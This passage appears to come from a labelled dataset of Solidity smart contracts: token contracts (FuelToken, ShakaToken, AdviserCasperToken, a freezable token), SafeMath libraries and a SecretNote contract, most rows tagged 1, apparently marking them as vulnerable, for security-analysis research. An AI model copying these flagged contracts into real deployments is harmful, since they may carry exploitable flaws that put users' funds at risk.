for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 382 |
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused returns (bool) {
paused = true;
Pause();
return true;
}
function unpause() onlyOwner whenPaused returns (bool) {
paused = false;
Unpause();
return true;
}
}
contract NonZero {
modifier nonZeroAddress(address _to) {
require(_to != 0x0);
_;
}
modifier nonZeroAmount(uint _amount) {
require(_amount > 0);
_;
}
modifier nonZeroValue() {
require(msg.value > 0);
_;
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
}
contract FuelToken is ERC20, Ownable, NonZero {
using SafeMath for uint;
string public constant name = "Fuel Token";
string public constant symbol = "FUEL";
uint8 public decimals = 18;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public vanbexTeamSupply;
uint256 public platformSupply;
uint256 public presaleSupply;
uint256 public presaleAmountRemaining;
uint256 public icoSupply;
uint256 public incentivisingEffortsSupply;
uint256 public crowdfundEndsAt;
uint256 public vanbexTeamVestingPeriod;
address public crowdfundAddress;
address public vanbexTeamAddress;
address public platformAddress;
address public incentivisingEffortsAddress;
bool public presaleFinalized = false;
bool public crowdfundFinalized = false;
event CrowdfundFinalized(uint tokensRemaining);
event PresaleFinalized(uint tokensRemaining);
modifier notBeforeCrowdfundEnds(){
require(now >= crowdfundEndsAt);
_;
}
modifier checkVanbexTeamVestingPeriod() {
assert(now >= vanbexTeamVestingPeriod);
_;
}
modifier onlyCrowdfund() {
require(msg.sender == crowdfundAddress);
_;
}
function transfer(address _to, uint256 _amount) notBeforeCrowdfundEnds returns (bool success) {
require(balanceOf(msg.sender) >= _amount);
addToBalance(_to, _amount);
decrementBalance(msg.sender, _amount);
Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) notBeforeCrowdfundEnds returns (bool success) {
require(allowance(_from, msg.sender) >= _amount);
decrementBalance(_from, _amount);
addToBalance(_to, _amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) returns (bool success) {
require((_value == 0) || (allowance(msg.sender, _spender) == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function FuelToken() {
crowdfundEndsAt = 1509292800;
vanbexTeamVestingPeriod = crowdfundEndsAt.add(183 * 1 days);
totalSupply = 1 * 10**27;
vanbexTeamSupply = 5 * 10**25;
platformSupply = 5 * 10**25;
incentivisingEffortsSupply = 1 * 10**26;
presaleSupply = 54 * 10**25;
icoSupply = 26 * 10**25;
presaleAmountRemaining = presaleSupply;
vanbexTeamAddress = 0xCF701D8eA4C727466D42651dda127c0c033076B0;
platformAddress = 0xF5b5f6c1E233671B220C2A19Af10Fd18785D0744;
incentivisingEffortsAddress = 0x5584b17B40F6a2E412e65FcB1533f39Fc7D8Aa26;
addToBalance(incentivisingEffortsAddress, incentivisingEffortsSupply);
addToBalance(platformAddress, platformSupply);
}
function setCrowdfundAddress(address _crowdfundAddress) external onlyOwner nonZeroAddress(_crowdfundAddress) {
require(crowdfundAddress == 0x0);
crowdfundAddress = _crowdfundAddress;
addToBalance(crowdfundAddress, icoSupply);
}
function transferFromCrowdfund(address _to, uint256 _amount) onlyCrowdfund nonZeroAmount(_amount) nonZeroAddress(_to) returns (bool success) {
require(balanceOf(crowdfundAddress) >= _amount);
decrementBalance(crowdfundAddress, _amount);
addToBalance(_to, _amount);
Transfer(0x0, _to, _amount);
return true;
}
function releaseVanbexTeamTokens() checkVanbexTeamVestingPeriod onlyOwner returns(bool success) {
require(vanbexTeamSupply > 0);
addToBalance(vanbexTeamAddress, vanbexTeamSupply);
Transfer(0x0, vanbexTeamAddress, vanbexTeamSupply);
vanbexTeamSupply = 0;
return true;
}
function finalizePresale() external onlyOwner returns (bool success) {
require(presaleFinalized == false);
uint256 amount = presaleAmountRemaining;
if (amount != 0) {
presaleAmountRemaining = 0;
addToBalance(crowdfundAddress, amount);
}
presaleFinalized = true;
PresaleFinalized(amount);
return true;
}
function finalizeCrowdfund() external onlyCrowdfund {
require(presaleFinalized == true && crowdfundFinalized == false);
uint256 amount = balanceOf(crowdfundAddress);
if (amount > 0) {
balances[crowdfundAddress] = 0;
addToBalance(platformAddress, amount);
Transfer(crowdfundAddress, platformAddress, amount);
}
crowdfundFinalized = true;
CrowdfundFinalized(amount);
}
function deliverPresaleFuelBalances(address[] _batchOfAddresses, uint[] _amountOfFuel) external onlyOwner returns (bool success) {
for (uint256 i = 0; i < _batchOfAddresses.length; i++) {
deliverPresaleFuelBalance(_batchOfAddresses[i], _amountOfFuel[i]);
}
return true;
}
function deliverPresaleFuelBalance(address _accountHolder, uint _amountOfBoughtFuel) internal onlyOwner {
require(presaleAmountRemaining > 0);
addToBalance(_accountHolder, _amountOfBoughtFuel);
Transfer(0x0, _accountHolder, _amountOfBoughtFuel);
presaleAmountRemaining = presaleAmountRemaining.sub(_amountOfBoughtFuel);
}
function addToBalance(address _address, uint _amount) internal {
balances[_address] = balances[_address].add(_amount);
}
function decrementBalance(address _address, uint _amount) internal {
balances[_address] = balances[_address].sub(_amount);
}
} | 1 | 2,741 |
pragma solidity ^0.4.25;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string name, string symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string) {
return _name;
}
function symbol() public view returns(string) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(
address owner,
address spender
)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(
address from,
address to,
uint256 value
)
public
returns (bool)
{
require(value <= _allowed[from][msg.sender]);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
function increaseAllowance(
address spender,
uint256 addedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(value <= _balances[from]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != 0);
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != 0);
require(value <= _balances[account]);
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _burnFrom(address account, uint256 value) internal {
require(value <= _allowed[account][msg.sender]);
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(
value);
_burn(account, value);
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
function has(Role storage role, address account)
internal
view
returns (bool)
{
require(account != address(0));
return role.bearer[account];
}
}
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private minters;
constructor() internal {
_addMinter(msg.sender);
}
modifier onlyMinter() {
require(isMinter(msg.sender));
_;
}
function isMinter(address account) public view returns (bool) {
return minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
minters.remove(account);
emit MinterRemoved(account);
}
}
contract ERC20Mintable is ERC20, MinterRole {
function mint(
address to,
uint256 value
)
public
onlyMinter
returns (bool)
{
_mint(to, value);
return true;
}
}
contract ERC20Capped is ERC20Mintable {
uint256 private _cap;
constructor(uint256 cap)
public
{
require(cap > 0);
_cap = cap;
}
function cap() public view returns(uint256) {
return _cap;
}
function _mint(address account, uint256 value) internal {
require(totalSupply().add(value) <= _cap);
super._mint(account, value);
}
}
contract ERC20Burnable is ERC20 {
function burn(uint256 value) public {
_burn(msg.sender, value);
}
function burnFrom(address from, uint256 value) public {
_burnFrom(from, value);
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
}
library ERC165Checker {
bytes4 private constant _InterfaceId_Invalid = 0xffffffff;
bytes4 private constant _InterfaceId_ERC165 = 0x01ffc9a7;
function _supportsERC165(address account)
internal
view
returns (bool)
{
return _supportsERC165Interface(account, _InterfaceId_ERC165) &&
!_supportsERC165Interface(account, _InterfaceId_Invalid);
}
function _supportsInterface(address account, bytes4 interfaceId)
internal
view
returns (bool)
{
return _supportsERC165(account) &&
_supportsERC165Interface(account, interfaceId);
}
function _supportsAllInterfaces(address account, bytes4[] interfaceIds)
internal
view
returns (bool)
{
if (!_supportsERC165(account)) {
return false;
}
for (uint256 i = 0; i < interfaceIds.length; i++) {
if (!_supportsERC165Interface(account, interfaceIds[i])) {
return false;
}
}
return true;
}
function _supportsERC165Interface(address account, bytes4 interfaceId)
private
view
returns (bool)
{
(bool success, bool result) = _callERC165SupportsInterface(
account, interfaceId);
return (success && result);
}
function _callERC165SupportsInterface(
address account,
bytes4 interfaceId
)
private
view
returns (bool success, bool result)
{
bytes memory encodedParams = abi.encodeWithSelector(
_InterfaceId_ERC165,
interfaceId
);
assembly {
let encodedParams_data := add(0x20, encodedParams)
let encodedParams_size := mload(encodedParams)
let output := mload(0x40)
mstore(output, 0x0)
success := staticcall(
30000,
account,
encodedParams_data,
encodedParams_size,
output,
0x20
)
result := mload(output)
}
}
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId)
external
view
returns (bool);
}
contract ERC165 is IERC165 {
bytes4 private constant _InterfaceId_ERC165 = 0x01ffc9a7;
mapping(bytes4 => bool) private _supportedInterfaces;
constructor()
internal
{
_registerInterface(_InterfaceId_ERC165);
}
function supportsInterface(bytes4 interfaceId)
external
view
returns (bool)
{
return _supportedInterfaces[interfaceId];
}
function _registerInterface(bytes4 interfaceId)
internal
{
require(interfaceId != 0xffffffff);
_supportedInterfaces[interfaceId] = true;
}
}
contract IERC1363 is IERC20, ERC165 {
function transferAndCall(address to, uint256 value) public returns (bool);
function transferAndCall(address to, uint256 value, bytes data) public returns (bool);
function transferFromAndCall(address from, address to, uint256 value) public returns (bool);
function transferFromAndCall(address from, address to, uint256 value, bytes data) public returns (bool);
function approveAndCall(address spender, uint256 value) public returns (bool);
function approveAndCall(address spender, uint256 value, bytes data) public returns (bool);
}
contract IERC1363Receiver {
function onTransferReceived(address operator, address from, uint256 value, bytes data) external returns (bytes4);
}
contract IERC1363Spender {
function onApprovalReceived(address owner, uint256 value, bytes data) external returns (bytes4);
}
contract ERC1363 is ERC20, IERC1363 {
using Address for address;
bytes4 internal constant _InterfaceId_ERC1363Transfer = 0x4bbee2df;
bytes4 internal constant _InterfaceId_ERC1363Approve = 0xfb9ec8ce;
bytes4 private constant _ERC1363_RECEIVED = 0x88a7ca5c;
bytes4 private constant _ERC1363_APPROVED = 0x7b04a2d0;
constructor() public {
_registerInterface(_InterfaceId_ERC1363Transfer);
_registerInterface(_InterfaceId_ERC1363Approve);
}
function transferAndCall(
address to,
uint256 value
)
public
returns (bool)
{
return transferAndCall(to, value, "");
}
function transferAndCall(
address to,
uint256 value,
bytes data
)
public
returns (bool)
{
require(transfer(to, value));
require(
_checkAndCallTransfer(
msg.sender,
to,
value,
data
)
);
return true;
}
function transferFromAndCall(
address from,
address to,
uint256 value
)
public
returns (bool)
{
return transferFromAndCall(from, to, value, "");
}
function transferFromAndCall(
address from,
address to,
uint256 value,
bytes data
)
public
returns (bool)
{
require(transferFrom(from, to, value));
require(
_checkAndCallTransfer(
from,
to,
value,
data
)
);
return true;
}
function approveAndCall(
address spender,
uint256 value
)
public
returns (bool)
{
return approveAndCall(spender, value, "");
}
function approveAndCall(
address spender,
uint256 value,
bytes data
)
public
returns (bool)
{
approve(spender, value);
require(
_checkAndCallApprove(
spender,
value,
data
)
);
return true;
}
function _checkAndCallTransfer(
address from,
address to,
uint256 value,
bytes data
)
internal
returns (bool)
{
if (!to.isContract()) {
return false;
}
bytes4 retval = IERC1363Receiver(to).onTransferReceived(
msg.sender, from, value, data
);
return (retval == _ERC1363_RECEIVED);
}
function _checkAndCallApprove(
address spender,
uint256 value,
bytes data
)
internal
returns (bool)
{
if (!spender.isContract()) {
return false;
}
bytes4 retval = IERC1363Spender(spender).onApprovalReceived(
msg.sender, value, data
);
return (retval == _ERC1363_APPROVED);
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns(address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract TokenRecover is Ownable {
function recoverERC20(
address tokenAddress,
uint256 tokenAmount
)
public
onlyOwner
{
IERC20(tokenAddress).transfer(owner(), tokenAmount);
}
}
contract OperatorRole {
using Roles for Roles.Role;
event OperatorAdded(address indexed account);
event OperatorRemoved(address indexed account);
Roles.Role private _operators;
constructor() internal {
_addOperator(msg.sender);
}
modifier onlyOperator() {
require(isOperator(msg.sender));
_;
}
function isOperator(address account) public view returns (bool) {
return _operators.has(account);
}
function addOperator(address account) public onlyOperator {
_addOperator(account);
}
function renounceOperator() public {
_removeOperator(msg.sender);
}
function _addOperator(address account) internal {
_operators.add(account);
emit OperatorAdded(account);
}
function _removeOperator(address account) internal {
_operators.remove(account);
emit OperatorRemoved(account);
}
}
contract BaseToken is ERC20Detailed, ERC20Capped, ERC20Burnable, ERC1363, OperatorRole, TokenRecover {
event MintFinished();
event TransferEnabled();
bool private _mintingFinished = false;
bool private _transferEnabled = false;
modifier canMint() {
require(!_mintingFinished);
_;
}
modifier canTransfer(address from) {
require(_transferEnabled || isOperator(from));
_;
}
constructor(
string name,
string symbol,
uint8 decimals,
uint256 cap,
uint256 initialSupply
)
ERC20Detailed(name, symbol, decimals)
ERC20Capped(cap)
public
{
if (initialSupply > 0) {
_mint(owner(), initialSupply);
}
}
function mintingFinished() public view returns (bool) {
return _mintingFinished;
}
function transferEnabled() public view returns (bool) {
return _transferEnabled;
}
function mint(address to, uint256 value) public canMint returns (bool) {
return super.mint(to, value);
}
function transfer(address to, uint256 value) public canTransfer(msg.sender) returns (bool) {
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public canTransfer(from) returns (bool) {
return super.transferFrom(from, to, value);
}
function finishMinting() public onlyOwner canMint {
_mintingFinished = true;
_transferEnabled = true;
emit MintFinished();
emit TransferEnabled();
}
function enableTransfer() public onlyOwner {
_transferEnabled = true;
emit TransferEnabled();
}
function removeOperator(address account) public onlyOwner {
_removeOperator(account);
}
function removeMinter(address account) public onlyOwner {
_removeMinter(account);
}
}
contract ShakaToken is BaseToken {
constructor(
string name,
string symbol,
uint8 decimals,
uint256 cap,
uint256 initialSupply
)
BaseToken(
name,
symbol,
decimals,
cap,
initialSupply
)
public
{}
} | 1 | 3,379 |
pragma solidity ^0.4.18;
contract Ownable {
address owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(owner == msg.sender);
_;
}
}
contract SecretNote is Ownable {
struct UserInfo {
mapping(bytes32 => bytes32) notes;
bytes32[] noteKeys;
uint256 index;
}
mapping(address => UserInfo) private registerUsers;
address[] private userIndex;
event SecretNoteUpdated(address indexed _sender, bytes32 indexed _noteKey, bool _success);
function SecretNote() public {
}
function userExisted(address _user) public constant returns (bool) {
if (userIndex.length == 0) {
return false;
}
return (userIndex[registerUsers[_user].index - 1] == _user);
}
function () public payable {
}
function withdraw(address _to, uint _amount) public onlyOwner {
_to.transfer(_amount);
}
function getUserCount() public view onlyOwner returns (uint256) {
return userIndex.length;
}
function getUserAddress(uint256 _index) public view onlyOwner returns (address) {
require(_index > 0);
return userIndex[_index - 1];
}
function getNote(bytes32 _noteKey) public view returns (bytes32) {
return registerUsers[msg.sender].notes[_noteKey];
}
function getNoteKeysCount() public view returns (uint256) {
return registerUsers[msg.sender].noteKeys.length;
}
function getNoteKeyByIndex(uint256 _index) public view returns (bytes32) {
return registerUsers[msg.sender].noteKeys[_index];
}
function setNote(bytes32 _noteKey, bytes32 _content) public payable {
require(_noteKey != "");
require(_content != "");
var userAddr = msg.sender;
var user = registerUsers[userAddr];
if (user.notes[_noteKey] == "") {
user.noteKeys.push(_noteKey);
}
user.notes[_noteKey] = _content;
if (user.index == 0) {
userIndex.push(userAddr);
user.index = userIndex.length;
}
SecretNoteUpdated(userAddr, _noteKey, true);
}
function destroyAccount() public returns (bool) {
var userAddr = msg.sender;
require(userExisted(userAddr));
uint delIndex = registerUsers[userAddr].index;
address userToMove = userIndex[userIndex.length - 1];
if (userToMove == userAddr) {
delete(registerUsers[userAddr]);
userIndex.length = 0;
return true;
}
userIndex[delIndex - 1] = userToMove;
registerUsers[userToMove].index = delIndex;
userIndex.length--;
delete(registerUsers[userAddr]);
return true;
}
} | 1 | 2,260 |
pragma solidity ^0.4.19;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract AdviserCasperToken is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function AdviserCasperToken() public {
symbol = "ACST";
name = "Adviser Csper Token";
decimals = 18;
_totalSupply = 440000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
Transfer(address(0), owner, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public onlyOwner returns (bool success) {
require(msg.sender == owner);
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
require(msg.sender == owner);
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
require(msg.sender == owner);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
} | 1 | 2,894 |
pragma solidity ^0.4.20;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count ++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i ++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
